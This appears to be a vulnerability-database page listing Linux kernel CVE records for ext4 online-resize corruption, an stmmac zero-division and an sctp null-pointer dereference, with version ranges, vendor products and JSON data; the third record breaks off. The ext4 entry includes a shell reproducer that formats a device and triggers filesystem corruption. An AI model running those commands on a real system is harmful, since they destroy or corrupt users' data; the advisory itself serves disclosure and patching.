Linux	Linux	Affected: 01f795f9e0d67adeccc61a8b20c28acb45fa5fd8 , < 75cc31c2e7193b69f5d25650bda5bb42ed92f8a1 (git) Affected: 01f795f9e0d67adeccc61a8b20c28acb45fa5fd8 , < ee4e9c1976147a850f6085a13fca95bcaa00d84c (git) Affected: 01f795f9e0d67adeccc61a8b20c28acb45fa5fd8 , < e8e8b197317228b5089ed9e7802dadf3ccaa027a (git) Affected: 01f795f9e0d67adeccc61a8b20c28acb45fa5fd8 , < 239c669edb2bffa1aa2612519b1d438ab35d6be6 (git) Affected: 01f795f9e0d67adeccc61a8b20c28acb45fa5fd8 , < fb1088d51bbaa0faec5a55d4f5818a9ab79e24df (git) Affected: 01f795f9e0d67adeccc61a8b20c28acb45fa5fd8 , < 37b6a3ba793bbbae057f5b991970ebcc52cb3db5 (git) Affected: 01f795f9e0d67adeccc61a8b20c28acb45fa5fd8 , < b461910af8ba3bed80f48c2bf852686d05c6fc5c (git) Affected: 01f795f9e0d67adeccc61a8b20c28acb45fa5fd8 , < 722d2c01b8b108f8283d1b7222209d5b2a5aa7bd (git) Affected: 01f795f9e0d67adeccc61a8b20c28acb45fa5fd8 , < a6b3bfe176e8a5b05ec4447404e412c2a3fc92cc (git)
Linux	Linux	Affected: 3.7 Unaffected: 0 , < 3.7 (semver) Unaffected: 4.19.312 , ≤ 4.19.* (semver) Unaffected: 5.4.274 , ≤ 5.4.* (semver) Unaffected: 5.10.215 , ≤ 5.10.* (semver) Unaffected: 5.15.154 , ≤ 5.15.* (semver) Unaffected: 6.1.84 , ≤ 6.1.* (semver) Unaffected: 6.6.24 , ≤ 6.6.* (semver) Unaffected: 6.7.12 , ≤ 6.7.* (semver) Unaffected: 6.8.3 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-35807",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-06-12T15:25:51.499528Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-12T15:26:07.895Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T03:21:47.537Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/75cc31c2e7193b69f5d25650bda5bb42ed92f8a1"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ee4e9c1976147a850f6085a13fca95bcaa00d84c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/e8e8b197317228b5089ed9e7802dadf3ccaa027a"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/239c669edb2bffa1aa2612519b1d438ab35d6be6"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/fb1088d51bbaa0faec5a55d4f5818a9ab79e24df"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/37b6a3ba793bbbae057f5b991970ebcc52cb3db5"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/b461910af8ba3bed80f48c2bf852686d05c6fc5c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/722d2c01b8b108f8283d1b7222209d5b2a5aa7bd"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/a6b3bfe176e8a5b05ec4447404e412c2a3fc92cc"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:52:08.068Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "fs/ext4/resize.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "75cc31c2e7193b69f5d25650bda5bb42ed92f8a1",
              "status": "affected",
              "version": "01f795f9e0d67adeccc61a8b20c28acb45fa5fd8",
              "versionType": "git"
            },
            {
              "lessThan": "ee4e9c1976147a850f6085a13fca95bcaa00d84c",
              "status": "affected",
              "version": "01f795f9e0d67adeccc61a8b20c28acb45fa5fd8",
              "versionType": "git"
            },
            {
              "lessThan": "e8e8b197317228b5089ed9e7802dadf3ccaa027a",
              "status": "affected",
              "version": "01f795f9e0d67adeccc61a8b20c28acb45fa5fd8",
              "versionType": "git"
            },
            {
              "lessThan": "239c669edb2bffa1aa2612519b1d438ab35d6be6",
              "status": "affected",
              "version": "01f795f9e0d67adeccc61a8b20c28acb45fa5fd8",
              "versionType": "git"
            },
            {
              "lessThan": "fb1088d51bbaa0faec5a55d4f5818a9ab79e24df",
              "status": "affected",
              "version": "01f795f9e0d67adeccc61a8b20c28acb45fa5fd8",
              "versionType": "git"
            },
            {
              "lessThan": "37b6a3ba793bbbae057f5b991970ebcc52cb3db5",
              "status": "affected",
              "version": "01f795f9e0d67adeccc61a8b20c28acb45fa5fd8",
              "versionType": "git"
            },
            {
              "lessThan": "b461910af8ba3bed80f48c2bf852686d05c6fc5c",
              "status": "affected",
              "version": "01f795f9e0d67adeccc61a8b20c28acb45fa5fd8",
              "versionType": "git"
            },
            {
              "lessThan": "722d2c01b8b108f8283d1b7222209d5b2a5aa7bd",
              "status": "affected",
              "version": "01f795f9e0d67adeccc61a8b20c28acb45fa5fd8",
              "versionType": "git"
            },
            {
              "lessThan": "a6b3bfe176e8a5b05ec4447404e412c2a3fc92cc",
              "status": "affected",
              "version": "01f795f9e0d67adeccc61a8b20c28acb45fa5fd8",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "fs/ext4/resize.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.7"
            },
            {
              "lessThan": "3.7",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.312",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.274",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.215",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.154",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.84",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.24",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.12",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.312",
                  "versionStartIncluding": "3.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.274",
                  "versionStartIncluding": "3.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.215",
                  "versionStartIncluding": "3.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.154",
                  "versionStartIncluding": "3.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.84",
                  "versionStartIncluding": "3.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.24",
                  "versionStartIncluding": "3.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.12",
                  "versionStartIncluding": "3.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.3",
                  "versionStartIncluding": "3.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "3.7",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\next4: fix corruption during on-line resize\n\nWe observed a corruption during on-line resize of a file system that is\nlarger than 16 TiB with 4k block size. With having more then 2^32 blocks\nresize_inode is turned off by default by mke2fs. The issue can be\nreproduced on a smaller file system for convenience by explicitly\nturning off resize_inode. An on-line resize across an 8 GiB boundary (the\nsize of a meta block group in this setup) then leads to a corruption:\n\n  dev=/dev/\u003csome_dev\u003e # should be \u003e= 16 GiB\n  mkdir -p /corruption\n  /sbin/mke2fs -t ext4 -b 4096 -O ^resize_inode $dev $((2 * 2**21 - 2**15))\n  mount -t ext4 $dev /corruption\n\n  dd if=/dev/zero bs=4096 of=/corruption/test count=$((2*2**21 - 4*2**15))\n  sha1sum /corruption/test\n  # 79d2658b39dcfd77274e435b0934028adafaab11  /corruption/test\n\n  /sbin/resize2fs $dev $((2*2**21))\n  # drop page cache to force reload the block from disk\n  echo 1 \u003e /proc/sys/vm/drop_caches\n\n  sha1sum /corruption/test\n  # 3c2abc63cbf1a94c9e6977e0fbd72cd832c4d5c3  /corruption/test\n\n2^21 = 2^15*2^6 equals 8 GiB whereof 2^15 is the number of blocks per\nblock group and 2^6 are the number of block groups that make a meta\nblock group.\n\nThe last checksum might be different depending on how the file is laid\nout across the physical blocks. The actual corruption occurs at physical\nblock 63*2^15 = 2064384 which would be the location of the backup of the\nmeta block group\u0027s block descriptor. During the on-line resize the file\nsystem will be converted to meta_bg starting at s_first_meta_bg which is\n2 in the example - meaning all block groups after 16 GiB. However, in\next4_flex_group_add we might add block groups that are not part of the\nfirst meta block group yet. In the reproducer we achieved this by\nsubstracting the size of a whole block group from the point where the\nmeta block group would start. This must be considered when updating the\nbackup block group descriptors to follow the non-meta_bg layout. The fix\nis to add a test whether the group to add is already part of the meta\nblock group or not."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:11:24.344Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/75cc31c2e7193b69f5d25650bda5bb42ed92f8a1"
        },
        {
          "url": "https://git.kernel.org/stable/c/ee4e9c1976147a850f6085a13fca95bcaa00d84c"
        },
        {
          "url": "https://git.kernel.org/stable/c/e8e8b197317228b5089ed9e7802dadf3ccaa027a"
        },
        {
          "url": "https://git.kernel.org/stable/c/239c669edb2bffa1aa2612519b1d438ab35d6be6"
        },
        {
          "url": "https://git.kernel.org/stable/c/fb1088d51bbaa0faec5a55d4f5818a9ab79e24df"
        },
        {
          "url": "https://git.kernel.org/stable/c/37b6a3ba793bbbae057f5b991970ebcc52cb3db5"
        },
        {
          "url": "https://git.kernel.org/stable/c/b461910af8ba3bed80f48c2bf852686d05c6fc5c"
        },
        {
          "url": "https://git.kernel.org/stable/c/722d2c01b8b108f8283d1b7222209d5b2a5aa7bd"
        },
        {
          "url": "https://git.kernel.org/stable/c/a6b3bfe176e8a5b05ec4447404e412c2a3fc92cc"
        }
      ],
      "title": "ext4: fix corruption during on-line resize",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-35807",
    "datePublished": "2024-05-17T13:23:14.869Z",
    "dateReserved": "2024-05-17T12:19:12.342Z",
    "dateUpdated": "2026-05-12T11:52:08.068Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-49977 (GCVE-0-2024-49977)

Vulnerability from cvelistv5 – Published: 2024-10-21 18:02 – Updated: 2026-05-12 11:59

Title

net: stmmac: Fix zero-division error when disabling tc cbs

Summary

In the Linux kernel, the following vulnerability has been resolved: net: stmmac: Fix zero-division error when disabling tc cbs The commit b8c43360f6e4 ("net: stmmac: No need to calculate speed divider when offload is disabled") allows the "port_transmit_rate_kbps" to be set to a value of 0, which is then passed to the "div_s64" function when tc-cbs is disabled. This leads to a zero-division error. When tc-cbs is disabled, the idleslope, sendslope, and credit values the credit values are not required to be configured. Therefore, adding a return statement after setting the txQ mode to DCB when tc-cbs is disabled would prevent a zero-division error.

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/e33fe25b1efe4f2e6…
https://git.kernel.org/stable/c/b0da9504a528f05f9…
https://git.kernel.org/stable/c/5d43e1ad4567d67af…
https://git.kernel.org/stable/c/03582f4752427f608…
https://git.kernel.org/stable/c/e297a2bf56d12fd7f…
https://git.kernel.org/stable/c/837d9df9c07929027…
https://git.kernel.org/stable/c/675faf5a14c14a2be…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: b4bca4722fda928810d024350493990de39f1e40 , < e33fe25b1efe4f2e6a5858786dbc82ae4c44ed4c (git) Affected: 2145583e5995598f50d66f8710c86bb1e910ac46 , < b0da9504a528f05f97d926b4db74ff21917a33e9 (git) Affected: 521d42a1c24d638241220d4b9fa7e7a0ed02b88e , < 5d43e1ad4567d67af2b42d3ab7c14152ffed25c6 (git) Affected: a71b686418ee6bcb6d6365f7f6d838d9874d9c64 , < 03582f4752427f60817d896f1a827aff772bd31e (git) Affected: b8c43360f6e424131fa81d3ba8792ad8ff25a09e , < e297a2bf56d12fd7f91a0c209eb6ea84361f3368 (git) Affected: b8c43360f6e424131fa81d3ba8792ad8ff25a09e , < 837d9df9c0792902710149d1a5e0991520af0f93 (git) Affected: b8c43360f6e424131fa81d3ba8792ad8ff25a09e , < 675faf5a14c14a2be0b870db30a70764df81e2df (git) Affected: f01782804147a8c21f481b3342c83422c041d2c0 (git)
Linux	Linux	Affected: 6.10 Unaffected: 0 , < 6.10 (semver) Unaffected: 5.10.227 , ≤ 5.10.* (semver) Unaffected: 5.15.168 , ≤ 5.15.* (semver) Unaffected: 6.1.113 , ≤ 6.1.* (semver) Unaffected: 6.6.55 , ≤ 6.6.* (semver) Unaffected: 6.10.14 , ≤ 6.10.* (semver) Unaffected: 6.11.3 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-49977",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-22T13:33:01.213521Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-22T13:38:45.017Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:23:57.678Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:59:29.199Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/ethernet/stmicro/stmmac/stmmac_tc.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "e33fe25b1efe4f2e6a5858786dbc82ae4c44ed4c",
              "status": "affected",
              "version": "b4bca4722fda928810d024350493990de39f1e40",
              "versionType": "git"
            },
            {
              "lessThan": "b0da9504a528f05f97d926b4db74ff21917a33e9",
              "status": "affected",
              "version": "2145583e5995598f50d66f8710c86bb1e910ac46",
              "versionType": "git"
            },
            {
              "lessThan": "5d43e1ad4567d67af2b42d3ab7c14152ffed25c6",
              "status": "affected",
              "version": "521d42a1c24d638241220d4b9fa7e7a0ed02b88e",
              "versionType": "git"
            },
            {
              "lessThan": "03582f4752427f60817d896f1a827aff772bd31e",
              "status": "affected",
              "version": "a71b686418ee6bcb6d6365f7f6d838d9874d9c64",
              "versionType": "git"
            },
            {
              "lessThan": "e297a2bf56d12fd7f91a0c209eb6ea84361f3368",
              "status": "affected",
              "version": "b8c43360f6e424131fa81d3ba8792ad8ff25a09e",
              "versionType": "git"
            },
            {
              "lessThan": "837d9df9c0792902710149d1a5e0991520af0f93",
              "status": "affected",
              "version": "b8c43360f6e424131fa81d3ba8792ad8ff25a09e",
              "versionType": "git"
            },
            {
              "lessThan": "675faf5a14c14a2be0b870db30a70764df81e2df",
              "status": "affected",
              "version": "b8c43360f6e424131fa81d3ba8792ad8ff25a09e",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "f01782804147a8c21f481b3342c83422c041d2c0",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/ethernet/stmicro/stmmac/stmmac_tc.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "6.10"
            },
            {
              "lessThan": "6.10",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.227",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.168",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.113",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.55",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.14",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.227",
                  "versionStartIncluding": "5.10.221",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.168",
                  "versionStartIncluding": "5.15.162",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.113",
                  "versionStartIncluding": "6.1.96",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.55",
                  "versionStartIncluding": "6.6.36",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.14",
                  "versionStartIncluding": "6.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.3",
                  "versionStartIncluding": "6.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "6.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "6.9.7",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: stmmac: Fix zero-division error when disabling tc cbs\n\nThe commit b8c43360f6e4 (\"net: stmmac: No need to calculate speed divider\nwhen offload is disabled\") allows the \"port_transmit_rate_kbps\" to be\nset to a value of 0, which is then passed to the \"div_s64\" function when\ntc-cbs is disabled. This leads to a zero-division error.\n\nWhen tc-cbs is disabled, the idleslope, sendslope, and credit values the\ncredit values are not required to be configured. Therefore, adding a return\nstatement after setting the txQ mode to DCB when tc-cbs is disabled would\nprevent a zero-division error."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:43:11.759Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/e33fe25b1efe4f2e6a5858786dbc82ae4c44ed4c"
        },
        {
          "url": "https://git.kernel.org/stable/c/b0da9504a528f05f97d926b4db74ff21917a33e9"
        },
        {
          "url": "https://git.kernel.org/stable/c/5d43e1ad4567d67af2b42d3ab7c14152ffed25c6"
        },
        {
          "url": "https://git.kernel.org/stable/c/03582f4752427f60817d896f1a827aff772bd31e"
        },
        {
          "url": "https://git.kernel.org/stable/c/e297a2bf56d12fd7f91a0c209eb6ea84361f3368"
        },
        {
          "url": "https://git.kernel.org/stable/c/837d9df9c0792902710149d1a5e0991520af0f93"
        },
        {
          "url": "https://git.kernel.org/stable/c/675faf5a14c14a2be0b870db30a70764df81e2df"
        }
      ],
      "title": "net: stmmac: Fix zero-division error when disabling tc cbs",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-49977",
    "datePublished": "2024-10-21T18:02:24.480Z",
    "dateReserved": "2024-10-21T12:17:06.052Z",
    "dateUpdated": "2026-05-12T11:59:29.199Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-21639 (GCVE-0-2025-21639)

Vulnerability from cvelistv5 – Published: 2025-01-19 10:17 – Updated: 2026-05-12 12:03

Title

sctp: sysctl: rto_min/max: avoid using current->nsproxy

Summary

In the Linux kernel, the following vulnerability has been resolved: sctp: sysctl: rto_min/max: avoid using current->nsproxy As mentioned in a previous commit of this series, using the 'net' structure via 'current' is not recommended for different reasons: - Inconsistency: getting info from the reader's/writer's netns vs only from the opener's netns. - current->nsproxy can be NULL in some cases, resulting in an 'Oops' (null-ptr-deref), e.g. when the current task is exiting, as spotted by syzbot [1] using acct(2). The 'net' structure can be obtained from the table->data using container_of(). Note that table->data could also be used directly, as this is the only member needed from the 'net' structure, but that would increase the size of this fix, to use '*data' everywhere 'net->sctp.rto_min/max' is used.

Severity ?

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-476 - NULL Pointer Dereference

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/c8d179f3b1c1d60bf…
https://git.kernel.org/stable/c/246428bfb9e7db15c…
https://git.kernel.org/stable/c/0f78f09466744589e…
https://git.kernel.org/stable/c/4059507e34aa5fe0f…
https://git.kernel.org/stable/c/dc9d0e3cfd16f66fb…
https://git.kernel.org/stable/c/c87f1f6ade56c711f…
https://git.kernel.org/stable/c/9fc17b76fc7076378…

Impacted products

2 products

Vendor	Product	Version
